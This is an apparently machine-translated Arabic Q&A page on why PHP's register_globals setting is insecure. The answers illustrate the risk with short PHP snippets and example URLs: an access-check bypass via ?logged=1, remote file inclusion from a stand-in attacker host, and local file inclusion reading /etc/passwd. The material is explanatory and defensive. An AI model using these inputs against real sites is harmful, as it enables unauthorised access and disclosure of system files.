لماذا يعد REGISTER_GLOBALS سيئًا للغاية؟
-
07-07-2019 - |
سؤال
أنا لست مطور PHP ولكني رأيت في بعض الأماكن أن الناس يتعاملون معها مثل الطاعون أو شيء من هذا القبيل.لماذا؟
المحلول
وREGISTER_GLOBALS
يعني أن جميع المتغيرات مرت GET أو POST والتقنى كمتغيرات العالمية في السيناريو الخاص بك. منذ الوصول إلى المتغيرات غير معلنة ليس خطأ في PHP (انها تحذير)، يمكن أن يؤدي إلى حالات سيئة جدا. النظر في هذا، على سبيل المثال:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
وانها ليست شيئا سيئا في حد ذاته (رمز هندسيا جيدا لا ينبغي أن تولد التحذيرات، لذلك لا ينبغي أن الوصول إلى أي المتغيرات التي قد تكون غير معلنة (ولا ينبغي <م> الحاجة م> REGISTER_GLOBALS
لنفس السبب))، ولكن كود PHP عادة [جدا] جودة منخفضة، مما يؤدي إلى هذا النوع من الثغرات الأمنية.
نصائح أخرى
يؤدي تمكين REGISTER_GLOBALS إلى تعريض صفحات الويب التي تخدمها PHP إلى نقاط الضعف التي سيحرص بعض الأشرار على استغلالها.
مع تمكينه، أي سلسلة استعلام في نهاية عنوان URL:
http://yourdomain/something.php?valid=true
سيؤثر على قيمة المتغير $valid (على سبيل المثال) في Something.php، إذا كان موجودا.
إذا كنت تستخدم كود PHP متاحًا للعامة (مكتبة على سبيل المثال)، فإن أسماء المتغيرات معروفة جيدًا، وسيكون من الممكن للمتسللين التحكم في قيمها عن طريق تعيين قيم في سلسلة الاستعلام.قد يكونوا قادرين على تجاوز المصادقة.
حتى إذا كنت لا تستخدم الكود العام، فقد يكون من الممكن تخمين أسماء المتغيرات المهمة والتحكم في قيمها.
لقد كان من المعتاد أن يتم تمكين REGISTER_GLOBALS في PHP.INI
كانت الممارسة الأخيرة هي تعطيله افتراضيًا.تمكينه على مسؤوليتك الخاصة!
وفقط لإضافة، وهنا بعض الحالات التي يكون فيها ممكنا وجود REGISTER_GLOBALS
يمكن أن تدمر يومك:
استخدام سلسلة الاستعلام لتجاوز التحكم بالوصول (الإختراق باستخدام http://example.com/ ؟ بتسجيل الدخول = 1 ): م>
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
بعد إدراج ملف (RFI): م>
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
إدراج ملف محلي (LFI): م>
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
ولأنه يسمح للمستخدم لحقن أي متغير عمومي في التعليمات البرمجية الخاصة بك دون أي رقابة.
واستنادا إلى نوعية رمز، فإنه قد يعرض الخلل أمنية كبيرة.